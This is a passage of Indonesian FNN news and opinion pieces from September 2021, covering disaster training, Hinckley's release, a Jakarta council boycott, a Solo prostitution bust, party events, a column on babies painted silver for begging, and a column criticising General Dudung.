batik hingga saat ini. Tentu kalau HB VII saat itu tidak mengizinkan maka kemungkinan besar kita sekarang tidak memakai batik keraton, terutama batik Keraton Yogyakarta," kata Bendara. (ant, sws)

Megawati Buka Pelatihan Dasar Manajemen Bencana Secara Virtual

Jakarta, FNN - Ketua Umum DPP PDI Perjuangan Megawati Soekarnoputri membuka Pelatihan Dasar Manajemen Bencana dan Pengendalian Operasi Pencarian dan Pertolongan Bagi Pengurus Badan Penanggulangan Bencana (Baguna) DPD dan DPC di seluruh Indonesia. Pelatihan itu dilaksanakan secara virtual, Selasa, atas kerja sama partai berlambang kepala banteng itu dengan Pusdiklat Badan Penanggulangan Bencana Nasional (BNPB) dan Badan Nasional Pencarian dan Pertolongan (BNPP/Basarnas). Megawati hadir secara virtual dari kediamannya di Jalan Teuku Umar, Jakarta Pusat bersama Sekjen DPP PDIP Hasto Kristiyanto. Ada juga Kepala BNPP/Basarnas Marsdya TNI Henri Alfiandi, Kepala BNPB Letjen TNI Ganip Warsito, dan Kepala BMKG Dwikorita Karnawati. "Dalam instruksi DPP partai, saya selalu meminta Baguna mempersiapkan diri membantu penanggulangan bencana," kata Megawati dalam siaran persnya. Hal itu berangkat dari pengalaman panjang Megawati menghadapi bencana. Termasuk sejak saat dirinya menjabat sebagai wakil presiden dan presiden, hingga saat ini. Kerap kali Indonesia itu ribut setelah kejadian bencana terjadi, oleh karena itu, Megawati mendorong agar persiapan diperkuat sehingga tak morat-marit ketika bencana benar terjadi. "Jadi saya harap kita tak lagi gagap. Harus tepat ketika memang perlu tanggap darurat," kata Presiden Kelima RI ini pula. Kepala BNPP/Basarnas Marsdya TNI Henri Alfiandi menyatakan bencana memiliki sifat tak bisa diprediksi sebelumnya. Karenanya bisa terjadi kapan saja, dimana saja, dan dapat menimpa siapa saja. "Maka, kesiapsiagaan harus menjadi perhatian semua pihak guna meminimalisir jatuhnya korban jiwa," ujarnya. Menurut Henri, Indonesia identik dengan potensi bencana besar karena warga Indonesia hidup di atas empat lempeng aktif di dunia; masuk dalam lintasan "ring of fire"; ditambah faktor geologi dan hidrografi yang meningkatkan potensi bencana. BNPP/Basarnas bekerja mempersiapkan kekuatan dalam melaksanakan operasi tanggap darurat bencana, dengan melibatkan masyarakat, TNI-Polri, termasuk Baguna PDIP. "Potensi pencarian dan pertolongan ini jadi pilar utama berhasilnya operasi pencarian dan pertolongan. Kita semua telah melihat sepak terjang Baguna PDIP dalam mendukung operasi pencarian dan pertolongan di Tanah Air. Baguna selalu hadir dan memberikan bantuan secara riil dalam penanggulangan bencana," kata Henri pula. Dia berharap tim Baguna yang sudah memiliki kualifikasi dapat bergabung bersama Basarnas yang selalu siap dalam melakukan operasi pencarian dan pertolongan dimana pun berada. "Operasi pencarian dan pertolongan adalah misi kemanusiaan yang mulia. Mari ingat pesan Ibu Megawati Soekarnoputri. Kita bekerja segenap jiwa raga, penuh ikhlas membantu saudara kita yang tertimpa musibah di seluruh Tanah Air. Yang pasti apa pun yang kami lakukan akan dicatat menjadi amal kebaikan dan jadi pahala di akhirat nanti," kata Henri Alfiandi. Kepala BNPB Letjen TNI Ganip Warsito mengatakan pelatihan ini akan meningkatkan kemampuan dan sikap Baguna dalam menanggulangi bencana di seluruh Tanah Air. Pihaknya berterima kasih kepada Megawati dan Hasto Kristiyanto yang membawa kader PDIP selalu tersedia untuk membantu operasi kemanusiaan penanggulangan bencana. "Tantangan penanggulangan bencana yang dihadapi bangsa Indonesia akan terus terjadi di masa depan. Kondisi ini karena Indonesia berada di kawasan rawan bencana," kata Ganip. Oleh karena itu, seluruh elemen masyarakat perlu diberdayakan dan dilibatkan dalam penanggulangan bencana. "Para relawan dalam membantu dan memfasilitai partisipasi masyarakat sangatlah penting. Keberadaan relawan Baguna sudah dirasakan masyarakat dalam berbagai kegiatan penanggulangan bencana," kata jenderal bintang tiga ini. (ant, sws).

Penembak Presiden Amerika Serikat Bebas Tanpa Syarat

Washington, FNN - Seorang hakim Amerika Serikat, Senin (27/9) akan memberikan "pembebasan tanpa syarat" kepada John Hinckley, yang melukai Presiden AS Ronald Reagan dan tiga orang lainnya dalam sebuah percobaan pembunuhan pada 1981. "Setelah bertahun-tahun, saya akan memberikan pembebasan tanpa syarat kepada Hinckley," kata Hakim Distrik AS Paul Friedman dalam sidang di pengadilan Distrik Columbia. Pada 2016, Friedman mengizinkan Hinckley pindah dari sebuah rumah sakit jiwa di Washington yang dihuninya selama tiga dekade. Akan tetapi, Friedman memberlakukan pembatasan perjalanan dan penggunaan internet kepada Hinckley. Dalam sidang pada Senin, Friedman mengatakan, dia berencana mencabut pembatasan terhadap Hinckley. Friedman menyebut kesehatan mental Hinckley sudah membaik dan dia tidak lagi berbahaya. Friedman juga mengatakan akan mengeluarkan perintah tertulis akhir pekan ini untuk melaksanakan keputusannya. Jaksa federal Kacie Weston dalam sidang itu mengatakan, Departemen Kehakiman AS setuju Hinckley harus diberikan pembebasan tanpa syarat. Namun, Weston berpendapat pembatasan yang diberlakukan terhadap Hinckley tidak boleh dicabut secara resmi hingga Juni 2022. Hal itu dimaksudkan agar jaksa dapat terus memantau Hinckley saat dia bertransisi untuk hidup mandiri usai kematian ibunya, kata Weston. Putri Reagan, Patti Davis, menulis sebuah opini di surat kabar Washington Post yang mengatakan dirinya menentang pembebasan Hinckley dan khawatir pria itu sekarang bisa menghubunginya. "Saya tidak percaya John Hinckley merasa menyesal," tulis Davis dalam opininya. Reagan tertembak di paru-paru dalam upaya pembunuhan itu, namun dia pulih dengan cepat. Beberapa orang lainnya turut terluka dalam peristiwa tersebut, termasuk sekretaris pers Gedung Putih James Brady, agen rahasia Timothy McCarthy, dan petugas kepolisian Washington Thomas Delahanty. Hinckley dinyatakan tidak bersalah dengan alasan gangguan jiwa pada sidang juri pada 1982. Putusan itu mendorong Kongres dan beberapa negara bagian AS untuk mengadopsi undang-undang yang membatasi pembelaan hukum atas dasar gangguan jiwa. Peristiwa penembakan terhadap Reagan mendorong peluncuran gerakan pengendalian senjata modern setelah James Brady menjadi cacat permanen akibat serangan itu. Brady dan istrinya, Sarah, memulai suatu gerakan yang sekarang dikenal sebagai "Kampanye Brady untuk Mencegah Kekerasan Senjata". (MD).

Tujuh Fraksi Tolak Hadiri Paripurna Interpelasi Karena Langgar Aturan

Jakarta, FNN - Wakil Ketua DPRD DKI Jakarta Mohamad Taufik menyebutkan alasan tujuh fraksi di DPRD DKI Jakarta menolak menghadiri rapat paripurna interpelasi terkait Formula E pada Selasa (28/9) karena banyaknya aturan yang dilanggar. "Misalnya undangan itu minimal harus diparaf dua wakil ketua, baru ditandatangani ketua itu syarat mutlak. Jadi kalau itu tidak dilakukan maka undangannya tidak sah kan sederhana," katanya di gedung DPRD DKI Jakarta, Selasa, 28 September 2021. Taufik menegaskan, fraksi-fraksi di DPRD, termasuk fraksinya akan terus menolak hadir dalam rapat paripurna jika hal-hal yang disebutnya pelanggaran itu terus dilakukan. "Saya kira selama pelanggaran dilakukan berulang-ulang kita akan tolak terus supaya DPRD jalan yang benar lah jangan semua mau sendiri," ujar politisi Gerindra itu, sebagaimana dikutip dari Antara. Setelah tujuh fraksi di DPRD DKI yakni Gerindra, PKS, Nasdem, Demokrat, Golkar, PAN, PKB-PPP, menyatakan menolak untuk hadir dalam rapat paripurna, praktis rapat hanya dihadiri oleh 32 orang anggota DPRD dari Fraksi PDI Perjuangan dan PSI. Dengan jumlah tersebut rapat tidak bisa mengambil keputusan karena tidak kuorum atau tidak memenuhi ketentuan jumlah anggota yakni 50+1 dari 106 anggota. Akhirnya rapat ditunda sampai batas waktu yang tidak ditentukan setelah perwakilan masing-masing fraksi dan anggota menyampaikan pandangannya. Terkait pemaparan PDIP dan PSI dalam rapat interpelasi, Taufik menyebut, segala sesuatunya yang disampaikan dalam forum itu ialah ilegal. Bahkan dia juga menyarankan Gubernur DKI Anies Baswedan tidak perlu hadir dalam paripurna semacam itu. "Sesuatu yang disampaikan PDIP dan PSI dalam forum yang ilegal, ngapain kita tanggapin gitu. Bahkan kami menyarankan gubernur tidak usah hadir ngapain hadir orang forumnya ilegal untuk apa hadir," ucapnya. (MD).

Charles Dickens Sindir Keras Yusril Ihza dan Moeldoko

By Asyari Usman UNTUK apa Yusril Ihza Mahendra (YIM) menggugat AD/ART Patai Demokrat (PD) ke Mahkamah Agung (MA)? Apa tujuannya? Apa yang dia dapat? Mengapa itu tidak dia lakukan terhadap partai-partai politik lainnya? Pastilah repot Pak Yusril menjawab pertanyaan-pertanyaan ini. Mengapa kerepotan? Karena langkah YIM menggugat AD/ART Demokrat adalah tindakan yang sangat aneh. Dan sangat mencurigakan. Mencurigakan? Ya, sangat! Sebab, bagaimanapun juga setiap langkah yang mengusik PD menjadi sulit dilepaskan dari Moeldoko –Kepala Staf Presiden (KSP). Dan, faktanya, YIM mengaku dia ditunjuk oleh orang-orang Moeldoko untuk menggugat AD/ART Demokrat pimpinan Agus Harimurti Yudhoyono (AHY). Pak Yusril mengatakan gugatan ini akan membuat praktik demokrasi di Indonesia menjadi sehat. Pertanyaannya: mengapa harus dimulai dari AD/ART Demokrat AHY? Mengapa tidak dimulai dari partai terbesar lebih dulu, yaitu PDIP? Padahal, AD/ART PDIP malah banyak yang bertentangan tidak hanya dengan praktik demokrasi tetapi juga sangat mungkin bertentangan dengan UUD 1945. Apa pun yang dijadikan alasan oleh YIM, saya yakin seribu persen bahwa gugatan terhadap AD/ART Demokrat ini masih dalam rangkaian upaya untuk menyingkirkan AHY dari posisi ketua umum “Merci”. Lebih mengerucut lagi, saya yakin gugatan ini bukan untuk menyehatkan praktik demokrasi di tubuh PD melainkan untuk merintiskan jalan baru bagi Moeldoko dalam upaya merebut partai Pak Beye itu. Itulah tujuan Yusril yang sesungguhnya. Omong kosong untuk kemaslahatan demokrasi Indonesia. Yusril tidak perlu pura-pura lupa bahwa Jokowi sendiri melakukan pencurangan terhadap prinsip-prinsip demokrasi. Mana gugatan Yusril? Mohon maaf, ketika gugatan terhadap kecurangan Pilpres 2019 tempo hari didukung dan dibela oleh rakyat, Pak Yusril malah berada di kubu Jokowi. Dia ikut mempertahankan dugaan kuat kecurangan itu. Kembali ke gugatan terhadap AD/ART Demokrat AHY, hampir pasti langkah Pak Yusril itu dilatarbelakangi oleh “motif besar”. Pasti sangat besar. Motif besar itu menjadi dorongan ecstatic yang membangkitkan semangat juang Pak Yusril. Kebetulan sekali, Moeldoko mampu memberikan “motif besar” itu. Karena Pak Moeldoko memang memiliki “motif super besar”. Pak Yusril membanggakan gugatan ini. Yang pertama di Indonesia. Gugatan AD/ART partai politik (parpol). Kata Yusril, MA harus membuat terobosan karena tidak ada lembaga yang bisa melakukan uji formil dan materiil terhadap AD/ART parpol. Mulia sekali tujuan Pak Yusril. Yaitu, untuk memperbaiki pengelolaan parpol-parpol di masa yang akan datang. Supaya parpol tidak menjadi alat untuk kepentingan pribadi, keluarga atau kelompok kecil. Agar parpol hadir dan berkiprah untuk rakyat. Yang menjadi masalah adalah titik berangkat misi Pak Yusril ini. Mengapa Partai Demokrat? Bukankah mantan Menteri Hukum ini tahu bahwa Demokrat pernah mau diambil paksa oleh Moeldoko? Tentu publik akan menilai bahwa Pak Yusril, dalam gugatan ini, akan lebih banyak menampilkan profesinya sebagai lawyer (advokat) ketimbang sebagai seorang warga negara yang prihatin terhadap pengelolaan parpol. Artinya, akad antara Yusril dan Moeldoko tidaklah seperti bakti YLBHI untuk orang-orang lemah. Sebab, Moeldoko adalah orang kuat. Kuat posisi dan kuat dari segi likuiditas. Sehingga, gugatan ini tidak dapat menghindar dari sindiran penulis dan kritikus sosial Inggris, Charles Dickens, bahwa: “If there were no bad people, there would be no good lawyers” “Andaikata tak ada orang-orang brengsek, tidak akan ada pengacara yang hebat-hebat.”[] (Penulis wartawan ssenior FNN)

Polda Jateng Bongkar Prostitusi Sesama Jenis di Solo

Solo, FNN - Direktorat Reserse Kriminal Umum Polda Jawa Tengah membongkar praktik prostitusi sesama jenis pria dengan modus layanan pijat plus-plus di Kota Solo. Direktur Reserse Kriminal Umum Polda Jawa Tengah Kombes Pol. Djuhandani di Semarang, Senin, mengatakan seorang mucikari berinisal D (47) warga Karanganyar dan enam terapis diamankan dari praktik prostitusi tersebut. "Pelaku menggunakan sebuah indekos di daerah Banjarsari, Kota Solo, untuk menjalankan praktik prostitusi sesama jenis ini," katanya. Menurut dia, pelaku menerima pelanggan di indekos dengan jumlah 19 kamar. Dari praktik prostitusi yang sudah berjalan sejak lima tahun lalu itu, kata dia, pelaku memungut sejumlah bagian dari tarif yang dikenakan. Adapun tarif yang dikenakan untuk layanan yang diberikan bervariasi antara Rp250 ribu hingga Rp400 ribu, di mana bagian yang diterima tersangka antara Rp100 ribu hingga Rp160 ribu per terapis. Djuhandani menambahkan tersangka juga menawarkan prostitusi berkedok pijat "plus-plus" ini melalui media sosial. Atas perbuatannya, tersangka dijerat dengan Undang-undang Nomor 21 Tahun 2007 tentang Tindak Pidana Perdagangan Orang serta Pasal 296 KUHP tentang Prostitusi.

HUT ke 2 Partai Gelora Gelar Puluhan Perlombaan

Jakarta, FNN – Partai Gelombang Rakyat (Gelora) Indonesia akan menggelar 10 jenis perlombaan dalam rangka memperingati HUT ke-2 yang bertepatan dengan peringatan Hari Sumpah Pemuda pada 28 Oktober 2021. Perlombaan ini terbuka untuk umum, tidak dipungut biaya dan berhadiah total ratusan juta rupiah. “Di HUT ke-2 ini, kita bikin sesuatu yang lebih menarik dan penuh keceriaan. Kita mengadakan 10 lomba dengan total hadiah uang ratusan juta dalam bentuk uang pembinaan,” kata Ahmad Yani, Ketua Panitia HUT ke-2 Partai Gelora dalam Rakornas VIII, pada Jumat (24/9/2021) malam. Ke-10 lomba tersebut adalah Gelora Science Competition, Lomba Video Anak ‘Impian dan Cita-citaku’, Lomba Group 28 ‘Semangat Gelora’, Lomba Desain Batik Gelora, Lomba Vlog YES UMKM, Lomba Foto YES UMKM, Lomba Sholawat, Lomba Bersih Pantai, Lomba Desain Mural dan Lomba Victory e-Sport Competition (Mobile Legends). “Kecuali Lomba Gelora Science Competition dan Mobile Legends akan ada penjurian khusus. Sedangkan lomba-lomba lainnya cukup di share di sosmed, misalnya YouTube, WhatsApp, TikTok, Instagram dan lain-lain yang akan ditentukan panitia,” katanya. Perlombaan dimulai pada awal Oktober hingga 25 Oktober 2021. Pendaftaran lomba bisa dilakukan di DPW dan DPD Partai Gelora se-Indonesia. Pemenang lomba akan diumumkan saat peringatan HUT ke-2 pada 28 Oktober 2021. “Peserta terbuka untuk umum, kita minta DPW dan DPD mensosialisasikannya ke masyarakat. Peserta misalkan upload video atau foto ke sosmed, nanti kita lihat share and comment yang banyak, itu yang jadi pemenangnya,” katanya. Yani mengatakan, semua peserta yang ikut lomba membuat video akan mendapatkan pembinaan berkelanjutan dari Deddy Mizwar, Ketua Bidang Seni Budaya dan Ekonomi Kreatif, yang juga artis senior yang terkenal dalam Naga Bonar dengan sebutan ‘Jenderal Naga Bonar’ ini. Selain mengadakan 10 perlombaan, Partai Gelora juga akan melauncing beberapa program saat HUT ke-2, yakni Festival Film Pendek, Pidato Caleg dan Cakada, Gerakan Bersih Pantai, Gerakan Tanam Pohon dan Virtual Walk Run Ride. Sedangkan Ketua Bidang Seni Budaya dan Ekonomi Kreatif Deddy Mizwar yang juga Penanggungjawab HUT ke-2 mengatakan, Partai Gelora sengaja menggelar acara dengan penuh keceriaan, warna-warni, merangkul semua dengan semangat kolaborasi. “HUT ke-2 ini yang bertepatan dengan Hari Sumpah Pemuda akan menjadi momentum bagi Indonesia menuju 5 besar dunia. Maka tema yang kita ambil adalah Kolaborasi Indonesia Menuju 5 Besar Dunia,” kata Deddy Mizwar. Sementara itu, Ketua Umum Partai Gelora Anis Matta menambahkan, peringatan HUT ke-2 kali ini lebih bernuansa festival, mengajak kolaborasi semua komponen bangsa dalam membangun Indonesia ke arah lebih baik lagi. “Ini sekaligus juga merayakan capaian-capaian kita dan kepercayaan diri kita dalam menghadapi Pemilu 2024. Kita merasakan respon publik dan elit luar biasa bagusnya,” kata Anis Matta. Anis Matta berharap agar Partai Gelora terus melakukan lompatan-lompatan besar dalam pencapaian target. Apabila ada target yang belum tercapai dalam tahapan sebelumnya, bisa dipenuhi dalam tahapan berikutnya. (sws)

Bayi Silver, Kreativitas Biadab Dipertontonkan

Oleh Ady Amar *) Anakmu bukanlah milikmu mereka adalah putra-putri sang Hidup, yang rindu akan dirinya sendiri. -- Kahlil Gibran. Bayi-bayi yang terlahir itu tanpa bisa memilih orangtua mana yang dikehendaki. Lahir ke dunia tanpa punya pilihan menentukan siapa bapak dan ibunya. Tidak pula bisa memilih etnis apa, warna kulit, hidung mancung, rambut ikal dan pilihan-pilihan manusiawi lainnya. Bayi itu menerima saja tanpa punya pilihan, meski orangtua yang dihadirkan gembel sekalipun. Hidup pada pilihan-pilihan, itu tidak dikenal di kehidupan bayi-bayi yang terlahir. Justru hidup itu tanpa pilihan buatnya, pasrah dihadirkan padanya orangtua dengan kasta apa saja, yang ia tidak mungkin bisa menolaknya. Bahkan bayi yang terlahir pun tidak mampu protes atas kelahiran yang tidak sewajarnya. Kelahiran yang tidak dimulai dengan hubungan suami istri yang diikat oleh ikatan pernikahan. Ia tidak punya pengetahuan untuk menanyakan kehadirannya itu sah atau tidak. Maka dimulailah kehidupan bayi-bayi itu sejak awal ia dihadirkan ke dunia hari ke hari dan bulan ke bulan sampai ia memasuki masa kanak-kanak dan seterusnya. Maka bayi-bayi yang bertumbuh itu mulai mengenal dunia sebenarnya. Mengenal dengan benar orangtuanya. Jika orangtuanya itu baik, maka bayi itu tumbuh selayaknya. Mendapat hak hidup dan pendidikan sesuai kondisi yang ada. Tapi jika orangtuanya bermental gembel, maka kehidupannya akan ditularkan pada anak-anaknya. Semacam mata rantai kemiskinan yang tak hendak disudahi. Ini semacam lingkaran setan yang tak putus. Bayi Silver Mengenaskan Hidup makin sulit, ekonomi makin morat-marit di kalangan menengah ke bawah, makin tampak nyata. Indeks kemiskinan makin merosot. Pengangguran karena rasionalisasi pada perusahaan di mana-mana--nama lain dari pemutusan hubungan kerja--makin hadir dengan jumlah yang tidak kecil. Uang pesangon hanya untuk makan dengan keluarga seadanya, hanya cukup untuk 2-3 bulan saja. Tidak berupaya memojokkan kalangan menengah ke bawah, tapi ini fenomena yang ada, tentu tidak semata perihal ekonomi tapi juga pengetahuan yang dimiliki terbatas, itu biasanya anaknya bejibun. Sedikitnya punya 4 anak. Membuat anak itu bagi mereka seperti tamasya. Bahkan ada yang tiap tahun suara bayi dihadirkan di rumah petak dengan luas terbatas. Pemandangan itu sepertinya sudah jamak. Maka di beberapa kota besar karena himpitan ekonomi, sudah hal umum jika mudah ditemui persewaan bayi, dari mulai umur tiga bulan sampai setahunan. Tarif sewanya Rp 20 ribu sehari. Disewakan untuk mengemis di sembarang tempat, dan bayi-bayi yang digendongnya itu bagian dari pemancing rasa iba pengguna jalan yang melihatnya. Di terik matahari, debu jalanan, dan bahkan di malam hari dengan angin menggigil bayi-bayi itu digendong tanpa bisa memberontak. Hanya tangisan lirih, tanpa tahu makna protes tangisannya. Fenomena bayi-bayi yang disewakan itu mestinya bisa diakhiri dengan sanksi yang keras, baik bagi yang menyewakan maupun si penyewa. Tampaknya itu seolah jadi pembiaran dan negara tidak benar-benar hadir untuk mengakhiri praktik eksploitasi pada bayi-bayi yang tak berdosa. Dan sampailah pada peristiwa biadab sesungguhnya... Kabar yang disampaikan pengguna jalan yang melihat seseorang perempuan yang mengecat seluruh tubuh dan rambutnya dengan cairan silver. Fenomena ini sudah semarak di mana-mana, di kota/kabupaten Jawa khususnya. Tapi dominan laki-laki yang melakukannya, dengan tubuh tanpa baju, yang sekujur tubuh dan rambutnya dicat warna silver. Lalu muncul julukan "manusia silver". Saat pandemi Covid-19, manusia silver ini muncul di mana-mana bak jamur di musim hujan. Perempuan silver malam hari itu, menggendong bayi 10 bulan, yang juga sekujur tubuh bayi itu dilumuri cat silver, menjadi viral karena diberitakan seseorang yang kebetulan melihatnya. Itu di kawasan Pamulang, Tangerang Selatan (Tangsel). Ini tentu bukan semata eksploitasi terhadap bayi itu, tapi bagian dari kreativitas biadab untuk mencari sedikit uang dengan mengorbankan bayi tak berdosa itu. Bayi mungil dengan kulit yang masih sensitif itu harus dilumuri cat silver. Bagaimana rasa panas yang ditimbulkannya, dan pastilah iritasi pada kulit yang dimunculkan. Peristiwa tragis, hilangnya rasa kemanusiaan beradab. Bayi-bayi itu lahir tidak bertanya siapa bapakku, siapa ibuku. Ia pun tidak protes meski orangtuanya gembel sekalipun. Tapi melihat bayi-bayi yang dilecehkan itu, rasa kemanusiaanku, juga Anda pastilah, menyalak marah... Tapi pada siapa kata marah bisa ditumpahkan... Negeri ini tampak tidak hadir pada belahan penderitaan kemiskinan rakyatnya. Oh negeriku... Semuanya bereaksi sesaat, ramai-ramai bereaksi, kemudian hening membisu, menganggap kehadiran bayi silver itu hal biasa, seperti bukan lagi perbuatan biadab. (*) *) Kolumnis

Jenderal Dudung, Ada Apa Denganmu?

KEMBALI nama Jenderal asal Bandung ini menuai kontroversial, khususnya bagi keluarga besar TNI dan umat Islam serta kalangan intelektual. Berawal dari pesan khusus Megawati kepada KSAD Jendral Andika pada peresmian patung Bung Karno di sekolah AKMIL dimana Mayjen Dudung Abdurrahman menjabat Gubernur AKMIL nya. Maka jadilah setelah itu Mayjen Dudung menjabat Pangdam Jaya yang begitu strategis bagi seorang Jenderal Angkatan Darat. Kemudian, kita semua masih ingat tentang insiden memalukan, dimana terjadi penghalangan dan penghadangan terhadap puluhan jenderal purnawirawan di TMP Kalibata, yang ketika itu mengadakan acara ziarah kepada makam Pahlawan Revolusi dalam memperingati hari kekejaman PKI yang kita kenal dengan sebutan G 30 S / PKI pada tahun 2020 yang lalu. Purnawiraan lintas matra yang tergabung dalam organisasi PPKN (Purnawirawan Peduli Kedaulatan Negara) ini, diusir dan dihadang oleh Dandim Jakarta Kolonel Ucu. Berikut juga mengirimkan pasukan dari Batalion Arhanud yang berada di bawah BKO Kodam Jaya yang Pangdam nya ketika itu adalah Mayjen Dudung Abdurrahman. Baru kali ini terjadi, seorang perwira menengah di TNI AD, yang lulusan AKMIL, demikian lancang menghadang para seniornya. Padahal di dalam rombongan itu tidak saja dari purnawirawan TNI AD, tapi juga ada dari purnawirawan TNI AL dan AU. Bahkan juga ada mantan Panglima TNI Jenderal Gatot Nurmantyo, mantan KSAL Laksamana Slamet Subiyanto, mantan KSAU Marsekal Imam Sufaat, mantan Dankor Marininir Letjen TNI Mar Suharto selaku ketuanya. Sontak insiden ini mencoreng dan melukai hati dan jiwa para keluarga besar TNI. Ketika kejadian memalukan korsa tentara selama ini dilihat telanjang oleh mata publik. Melihat bagaimana dengan lancang tanpa ada rasa hormat Kolonel Ucu berani menampik tangan Letjen Suharto yang mau bacakan amanat upacara ziarah makam di TMP Kalibata. Yang lebih menyakitkan lagi adalah : acara kegiatan yang mereka hadang itu adalah acara kegiatan yang selama puluhan tahun Indonesia merdeka rutin di laksanakan. Yaitu memperingati sejarah kebiadaban PKI 30 September 1965. Ada apa? Alasan prokes Covid19 dan apapun lah saat itu, hanya alasan klise. Karena, semua persyaratan prokes sudah di penuhi. Mulai dari pengaturan jarak, pembatasan jumlah peserta, hand sanitizer, wajib masker, dan tim medis di tempat kegiatan. Komandan satuan komando kewilayahannya ketika itu adalah Mayjen Dudung Abdurrahman selaku Panglima Kodam Jaya. Setelah itu, publik juga melihat Mayjen Dudung ikut hadir dalam konferensi pers bersama Kapolda Metro Jaya dalam rilis tewasnya 6 orang laskar FPI. Bahkan Mayjen Dudung ikut juga pegang-pegang alat bukti senpi dan golok samurai. Pertanyaannya, sejak kapan TNI ikut ikutan dalam hal penanganan kriminal? Yang lebih menyakitkan lagi bagi keluarga besar tentara itu adalah, posisi dan gestur Mayjen Dudung tak lebih ibarat jadi asisten pendamping Kapolda saat itu. Ke mana wibawa seorang Panglima Kodam yang dijabatnya? Tak cukup sampai di situ. Terjadi lagi insiden pencopotan baliho Imam Besar FPI Habib Rizieq Riziq Shihab di beberapa titik di Jakarta. Dan dengan tegas dan jumawa, kembali Mayjen Dudung Abdurrahman yang mengaku menyuruh anggotanya untuk melakukan itu. Belum lagi pengerahan Pangkoopsus pasukan paling elit TNI ke markas FPI menggunakan Ranpur dan Rantis seolah mau perang! Kembali, insiden ini mencoreng nama baik TNI khususnya TNI AD. Berbagai protes dan kritik juga keluar dari banyak kalangan. Baik dari para senior TNI dan senayan bahkan juga pengamat militer. Ngapain TNI ikut-ikutan menurunkan baliho yang itu hanya tugas Satpol PP? Dengan pakaian dan senjata lengkap lagi. Ada apa? Untuk kelihatan gagah? Untuk nakutin-nakutin rakyat? Apakah ini tidak keblinger namanya. TNI dibentuk sebagai alat pertahanan negara dan melindungi segenap tumpah darah bangsa Indonesia. Bukan nakut- nakutin rakyat. Bahkan ancam ancam bubarkan Ormas. Aneh bin ajaib. Dalam Tupoksi TNI dan UU Pertahanan, TNI sebagai komponen utama alat pertahanan negara hanya bisa diturunkan apabila dalam kondisi darurat militer. Sedangkan, ini darurat sipil pun belum terjadi. Ada apa? Kemudian masih dalam bulan ini, kembali Mayjen Dudung melontarkan statemen yang pedas dan kontroversial. Yaitu menyatakan bahwa semua agama itu sama. Sontak, hal ini bertentangan dengan akidah umat beragama khususnya Islam yang mayoritas di negeri ini. Tak ayal, kritik pedas dan peringatan juga keluar dari MUI seperti Dr Anwar Abbas. Sejak kapan pula TNI ikut mengotak-atik urusan beragama masyarakat. Meskipun, ada klarifikasi bahwa pernyataan dan tindakan Jenderal Dudung adalah pernyataan personal pribadi bukan institusi, namun faktanya bagaimana memisahkan itu semua? Terakhir baru kejadian hilang dan raibnya tiga patung tokoh legendaris TNI AD dalam penumpasan PKI 1965, di ruangan Diorama Mako Kostrad. Kembali kejadian ini terungkap bertepatan dengan bulan September dimana Pangkostrad saat ini adalah Letjen Dudung Abdurrahman yang naik jadi bintang tiga. Walaupun sudah klarifikasi dari Kapen Kostrad Kolonel Haryantana, bahwasanya raibnya patung tersebut atas permintaan mantan Pangkostrad tahun 2012 Letjen TNI purn AY Nasution. Namun klarifikasi ini juga mesti di klarifikasi lagi secara transparan. Tidak bisa sepihak. Apakah itu benar apa adanya? Atau hanya alasan klise sekadar melindungi Letjen Dudung, dan membenturkan Jenderal Gatot yang membuka kejadian ini pada publik dengan seniornya Letjen AY Nasution. Wallahualam, kita tidak tahu. Namun akhirnya wajar, masyarakat bertanya ada apa dengan Jenderal Dudung? Rangkaian peristiwa di atas tentu tidak serta merta terjadi begitu saja. Ada sentimen dan maksud apa di balik ini semua? Jangan hanya gara-gara nila setitik rusak susu sebelanga. Karena Letjen Dudung adalah jenderal aktif, menjabat posisi jabatan strategis. Wajar saja, berkembang asumsi liar dan mengkait-kaitkan hubungan kultural keluarga Letjen Dudung yang notabone nya adalah menantu dari KH Cholid Rozali salah satu tokoh senior PDIP. Sedangkan PDIP adalah partai penguasa saat ini di bawah kepemimpinan Megawati Sukarnoputri. Dan kita sama sama tahu bagaimana hubungan sentimen antara PDIP dengan Islam, dan hubungan PDIP dengan para anak anak PKI sesuai pengakuan anggota DPR RI Ripka Tjiptaning. Termasuk hubungan PKI dengan TNI ! Untuk itulah, perlu kita dengar semua penjelasan dan klarifikasi dari Letjen Dudung Abdurrahman. Sebagai prajurit TNI, tentu kita tak meragukan lagi kapasitas loyalitas, dan semangat patriotisme beliau terhadap bangsa dan negara ini. Kalau asumsi di atas salah, inilah kesempatan Letjen Dudung klarifikasi semua. Jangan sampai anggapan negatif ini beranak pinak di tengah masyarakat tanpa diluruskan. Namun karena Indonesia adalah negara demokrasi berdasarkan Pancasila, dimana pasca reformasi ini menganut asas supremasi sipil, Letjen Dudung Abdurrahaman harus berani bicara apa adanya. Apa dalam pikiran dan benaknya. Agar masyarakat tidak tumbuh curiga, yang hal ini tentu dapat merusak harmonisasi hubungan rakyat dan tentara. Sedangkan jargon dan doktrin TNI kita adalah sudah jelas “ Tentara Rakyat “. TNI adalah anak kandung rakyat Indonesia. Ditambah lagi, sejarah sudah mencatat bagaimana licik dan lihainya kaum komunis yang tergabung dalam PKI menyusup dalam tubuh pemerintahan termasuk TNI, kemudian mengkhianati bangsa kita. Jangan sampai hal ini terulang kembali. Karena sesuai kata pepatah “ Bangsa yang melupakan sejarahnya, maka mendapat kutukan akan mengulangi sejarah itu kembali “. Kita tunggu itikad baik dari Letjen Dudung Abdurrahman kepada seluruh rakyat Indonesia.

Jakarta Cerah Berawan pada Selasa Siang hingga Malam

Jakarta, FNN - Badan Meteorologi, Klimatologi dan Geofisika (BMKG) menyampaikan peringatan dini mengenai potensi hujan dengan intensitas sedang hingga lebat disertai petir dan angin di DKI Jakarta pada Selasa pagi. Menurut BMKG, kondisi cuaca kurang bersahabat meliputi seluruh wilayah Ibu Kota kecuali Kabupaten Kepulauan Seribu. Untuk mengantisipasi dampak akibat hujan, BMKG mengeluarkan imbauan agar lurah dan camat wilayah terdampak menyiagakan Petugas Penanganan Sarana dan Prasarana Umum (PPSU) dan satgas banjir jika terjadi genangan air. BMKG menyebutkan bahwa hujan disertai angin dan kilat berlangsung hingga pukul 04.20 WIB dan cuaca kembali normal pada siang hari. Pada siang hingga malam, mayoritas wilayah DKI Jakarta cerah berawan. Namun untuk Kota Administrasi Jakarta Barat dan Jakarta Selatan diperkirakan hujan ringan. Suhu terendah di Jakarta tercatat pada 24 derajat Celcius dan tertinggi mencapai 34 derajat, dengan tingkat kelembaban terendah 55 persen dan tertinggi mencapai 95 persen. Untuk wilayah sekitar Jakarta seperti Kota Tangerang, BMKG memprediksi berawan selama satu hari penuh, dengan kisaran suhu 23-32 derajat 